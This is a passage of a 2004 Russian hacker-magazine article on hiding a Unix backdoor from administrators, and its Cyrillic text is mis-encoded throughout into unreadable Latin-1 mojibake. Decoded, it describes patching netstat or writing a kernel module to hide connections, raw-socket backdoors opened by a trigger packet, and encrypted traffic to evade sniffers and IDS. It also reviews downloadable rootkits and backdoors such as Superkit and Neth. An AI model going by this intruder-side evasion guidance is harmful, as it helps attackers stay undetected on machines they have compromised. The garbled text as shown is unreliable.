                                                                                                                     ïèòü ê ñàìîé îòâåòñòâåííîé ÷àñòè
                                                                                                                     ìàòåðèàëà.

                                                                                                                     ÏÐß×ÅÌ ÑÎÅÄÈÍÅÍÈÅ
                                                                                                                         Êàæäîìó þíèêñîèäó èçâåñòíî, ÷òî
                                                                                                                     äëÿ ïðîñìîòðà ñïèñêà îòêðûòûõ ñîå-
                                                                                                                     äèíåíèé â ñèñòåìå ïðèìåíÿåòñÿ óòè-
                                                                                                                     ëèòà netstat. Åñëè áóäåò èñïîëüçîâàí
                                                                                                                     îáû÷íûé áýêäîð, êîòîðûé îòêðûâàåò
                                                                                                                     øåëë íà çàäàííîì TCP-ïîðòó, ïåðâûé
                                                                                                                     æå çàïóñê ýòîé ïðîãðàììêè âûäàñò
                                                                                                                     âçëîìùèêà ñ ãîëîâîé. Êàê æå óêðûòü-
                                                                                                                     ñÿ îò netstat? Àíàëîãè÷íî ñèòóàöèè ñ
                                                                                                                     ps, ñïîñîáîâ î÷åíü ìíîãî.
                                                                                                                       Îäèí èç íèõ, êàê ýòî íè ïàðàäîêñàëü-
                                                                                                                     íî, î÷åíü ïîïóëÿðíûé, çàêëþ÷àåòñÿ â
                                                                                                                     òàêîé êîððåêòèðîâêå ñàìîé óòèëèòû,
                                                                                                                     êîòîðàÿ áû íå ïîçâîëÿëà åé ïîêàçû-
                                                                                                                     âàòü íàøå ñîåäèíåíèå. Äëÿ ðåàëèçà-
                                                                                                                     öèè ýòîãî ñïîñîáà ïîòðåáóåòñÿ îòûñ-
                                                                                                                     êàòü ñîðöû netstat â ñåòè è êàê ñëåäó-
                                                                                                                     åò èõ ïåðåëîïàòèòü. Ïî-ìîåìó, òàêîå
                    Ñèñòåìíûå âûçîâû óòèëèòû netstat                                                                 è â êîøìàðíîì ñíå íå ïðèñíèòñÿ.
                                     ÕÀÊÅÐÑÏÅÖ   10(47)   2004
                                                                                                        39



 ÌÍÎÃÎ ÁÝÊÄÎÐÎÂ, ÕÎÐÎØÈÕ È ÐÀÇÍÛÕ                                       Äðóãîé ñïîñîá - íàïèñàòü LKM, êîòî-
                                                                      ðûé áû ïåðåõâàòûâàë ñèñòåìíûå âû-




                                                                                                                              ÍÅÏÐÈÑÒÓÏÍÛÉ *NIX
                                                                      çîâû óòèëèòû netstat. Ýòî âîîáùå ñà-
   Íå âñåãäà åñòü âîçìîæíîñòü è æåëàíèå ïèñàòü áýêäîð ñàìîìó. ß
                                                                      ìûé ëó÷øèé ïîäõîä ê ðåäàêòèðîâà-
 ïðèãîòîâèë êîðîòåíüêèé îáçîð ïîëåçíûõ áýêäîðîâ/ðóòêèòîâ, äîñ-        íèþ âûâîäà ëþáûõ ñèñòåìíûõ óòèëèò,
 òóïíûõ â ñåòè:                                                       áóäü òî ps èëè netstat. Îí íåìíîãî
                                                                      ñëîæåí â ðåàëèçàöèè, íî, åñëè çíàòü,
 Bdoor.c - áýêäîð, ìàñêèðóþùèéñÿ ïîä HTTP-äåìîí. Îí íå èñïîëü-        êóäà êîïàòü - êàêèå ñèñòåìíûå âûçî-
 çóåò íèêàêèõ stealth-òåõíîëîãèé. Ïðèìåíÿòü åãî ìîæíî òîëüêî â        âû â êàêèõ ñëó÷àÿõ ïåðåõâàòûâàòü, òî
 ðàñ÷åòå íà íåâíèìàòåëüíîñòü àäìèíèñòðàòîðà (ÿâëåíèå, íàäî ïðèç-      ñïðàâèòüñÿ ìîæíî.
                                                                        Äîïóñòèì, íàì óäàëîñü ñêðûòü áýê-
 íàòü, î÷åíü ÷àñòîå).
                                                                      äîð èç ñïèñêà îòêðûòûõ ñîåäèíåíèé.
                                                                      À ÷òî, åñëè àäìèíèñòðàòîð ïðîâåðÿ-
 SYS_getuid áûë áû ïðîñòî îòëè÷íûì ðóòêèòîì, åñëè áû íå òàê
                                                                      åò ñâîþ ñèñòåìó íå ëîêàëüíî, à, íàï-
 ïðîñòî ëîâèëñÿ â ñèñòåìå. Äëÿ åãî îáíàðóæåíèÿ äîñòàòî÷íî ñäå-        ðèìåð, óäàëåííî ñ ïîìîùüþ ðàçëè÷-
 ëàòü êîïèþ òàáëèöû ñèñòåìíûõ âûçîâîâ ïîñëå óñòàíîâêè ñèñòåìû         íûõ ïðîãðàìì âðîäå nmap? Òîãäà
 (äî òîãî êàê ñèñòåìà çàòðîÿíåíà), à ïîòîì âðåìÿ îò âðåìåíè ñâåðÿòü   ïðè ñêàíèðîâàíèè àäìèíèñòðàòîð
 óêàçàòåëè, òåêóùóþ òàáëèöó ñ êîïèåé, ëþáûå ðàñõîæäåíèÿ áóäóò         çàìåòèò, ÷òî â ñèñòåìå îòêðûò "ëå-
                                                                      âûé" ïîðò, à netstat åãî íå ïîêàçû-
 îçíà÷àòü ïðèñóòñòâèå áýêäîðà.
                                                                      âàåò. Àäìèí ñðàçó æå ïðîñå÷åò
                                                                      ôèøêó, è áîëüøå ìû íà åãî ìàøèíó
 Superkit – çàìå÷àòåëüíûé ìíîãîôóíêöèîíàëüíûé ðóòêèò. Óìååò
                                                                      íå ïîïàäåì. Èìåííî äëÿ òàêèõ ñëó-
 ïðÿòàòü ôàéëû, ïðîöåññû, ñîåäèíåíèÿ â netstat. Èìååò ôóíêöèþ         ÷àåâ õàêåðû ïðèäóìàëè åùå êîå-÷òî
 çàùèòû ïàðîëåì. Óìååò îòêðûâàòü ïîðò è çàïóñêàòü íà íåì óäàëåí-      äëÿ ñîêðûòèÿ ñâîåãî ïðèñóòñòâèÿ â
 íûé øåëë. È ñàìîå ïðèÿòíîå - îí íå ìîæåò áûòü îáíàðóæåí ñ ïî-        ñèñòåìå. Ïðè íàïèñàíèè áýêäîðà
 ìîùüþ ñðàâíåíèÿ òàáëèö ñèñòåìíûõ âûçîâîâ.                            ñëåäóåò èñïîëüçîâàòü íå
                                                                      SOCK_STREAM, à SOCK_RAW, òî åñòü
 Linuxrootkit5 - ýòî äîâîëüíî ñòàðûé, íî íå ïîòåðÿâøèé ñâîåé àê-      âìåñòî TCP-ñîêåòîâ þçàòü RAW-ñî-
                                                                      êåòû. Êðàñèâûé ñïîñîá: RAW-ñîêåòû
 òóàëüíîñòè ðóòêèò. Ïîìèìî ñòàíäàðòíîãî íàáîðà ôóíêöèé lkm-ðóò-
                                                                      ïîçâîëÿþò ñëóøàòü âåñü âõîäÿùèé
 êèòà, îí óìååò ïðÿòàòü cron-çàïèñè, ÷òî áûâàåò î÷åíü ïîëåçíî, êîã-   òðàôèê, à ýòî äàåò íàì îãðîìíûå
 äà ñòàðàåøüñÿ îáõèòðèòü àäìèíà ëþáûìè ñïîñîáàìè.                     âîçìîæíîñòè. Íàïðèìåð, ìû ìîæåì
                                                                      ñäåëàòü òàê, ÷òîáû ïîñëå ïîñûëêè
 kbdv2.c - Linux loadable kernel module backdoor. Êëàññè÷åñêèé ïðè-   îïðåäåëåííîãî ïàêåòà áýêäîð îòêðû-
 ìåð áýêäîðà, ïîäãðóæàåìîãî ê ÿäðó ñèñòåìû. Ïåðåõâàòûâàåò ñèñ-        âàë øåëë íà îïðåäåëåííîì ïîðòó.
                                                                                                                Óòèëèòà
 òåìíûå âûçîâû (SYS_stat, SYS_getuid). Èíòåðåñåí áýêäîð íå ñòîëü-     Ïðèìåðû ïîäîáíûõ áýêäîðîâ - íà            cron ïîìî-
                                                                      packetstormsecurity.nl.                   æåò îáõèò-
 êî ñâîèìè ôóíêöèÿìè, ñêîëüêî õîðîøî êîììåíòèðîâàííûì èñõîä-                                                    ðèòü àäìè-
 íûì êîäîì. Åãî èçó÷åíèå ìîæåò áûòü î÷åíü ïîëåçíî ïðè íàïèñàíèè                                                 íèñòðàòîðà.
                                                                      ÌÀÑÊÈÐÓÅÌ ÒÐÀÔÈÊ
 ñîáñòâåííîé ïðîãðàììû ïîäîáíîãî ðîäà.                                    Ãðàìîòíûé àäìèíèñòðàòîð íå
                                                                      âñåãäà îãðàíè÷èâàåòñÿ ñòàíäàðòíûìè
 Neth – äåòèùå Forb’à. Îòëè÷íûé áýêäîð! Íàïèñàííûé ñ èñïîëüçîâà-      ñðåäñòâàìè ïðè ïîèñêå áýêäîðà â ñâî-
 íèåì "ñûðûõ" ñîêåòîâ, îí íå îòêðûâàåò TCP-ïîðòîâ, çà ñ÷åò ÷åãî íå    åé ñèñòåìå. Èíîãäà îí ïðèáåãàåò ê ïî-
                                                                      èñêó çëîóìûøëåííèêà ñ ïîìîùüþ             Óìíûé àä-
 ïàëèòñÿ íè netstat’îì, íè óäàëåííûì ñêàíåðîì.                                                                  ìèí ìîæåò
                                                                      ñíèôåðà èëè IDS, ïîäîáíîé Ñíîðòó. À       ðåãóëÿðíî
 Ïðàêòè÷åñêè âñå ïåðå÷èñëåííûå ìíîé ïðîãðàììêè ìîæíî ñêà÷àòü ñ        îò çîðêîãî ãëàçà (èëè ÷óòêîãî íîñà? :))   ñ÷èòàòü
                                                                                                                MD5-õýøè
                                                                      “íþõà÷à” íå ñêðîåòñÿ íè îäèí äàæå
 ñàéòà www.packetstormsecurity.nl.                                                                              îò âñåõ
                                                                      ñàìûé íàâîðî÷åííûé áýêäîð.                ôàéëîâ â
                                                                                                                ñèñòåìå. Îí
                                                                       Êàê æå óáåðå÷üñÿ îò íàäîåäëèâî-          áåç òðóäà
                                                                      ãî àäìèíà è åãî êîøìàðíîé IDS? Òóò        ìîæåò çà-
                                                                      ïîìîæåò òîëüêî îäíî – ïîëíîå              ìåòèòü èç-
                                                                                                                ìåíåíèÿ â
                                                                      øèôðîâàíèå òðàôèêà, êîòîðîå óáå-          ñèñòåìíûõ
                                                                      ðåò çàìåòíûé plain text êîìàíä èç         óòèëèòàõ.
                                                                      ëîãîâ ñíèôåðà. Õàêåðû èñïîëüçóþò
                                                                      äëÿ ýòîãî ñàìûå ðàçíûå êðèïòîàëãî-
                                                                      ðèòìû: è IDEA, è xTEA, è Blowfish, è
                                                                      Twofish.
                                                                       Íî, äàæå øèôðóÿñü, íå ñòîèò çà-
                                                                      áûâàòü, ÷òî ëèøíèé ãèãàáàéò òðà-
                                                                      ôèêà, ãåíåðèðóåìûé ê òîìó æå êà-
                                                                      êèì-íèáóäü RAW-ñîêåòîì, çàìåòèò
                                                                      äàæå ñëåïîé àäìèí. Ïðè èñïîëüçî-
                                                                      âàíèè ÷óæèõ ìîùíîñòåé íàäî
                                                                      çíàòü ìåðó :).

                                                                      ÍÀÏÎÑËÅÄÎÊ
                                                                         Â ýòîé ñòàòüå ÿ îïèñàë ëèøü ñà-
                                                                      ìûå ïîïóëÿðíûå ïîäõîäû ê ìàñêè-
                                                                      ðîâêå. Âðåìÿ íå ñòîèò íà ìåñòå, ïîñ-
                                                                      òîÿííî èçîáðåòàþòñÿ âñå íîâûå è íî-
                                                                      âûå ñïîñîáû ñîêðûòèÿ áýêäîðîâ. Ñòà-
                                                                      ðàéñÿ íå îòñòàâàòü îò ïðîãðåññà,
                                                                      âåäü íå ïðîñòî òàê ãîâîðÿò: "Êòî îñ-
Çàìàñêèðîâàííûé áýêäîð                                                òàíîâèëñÿ, òîò óìåð!" E
                                    40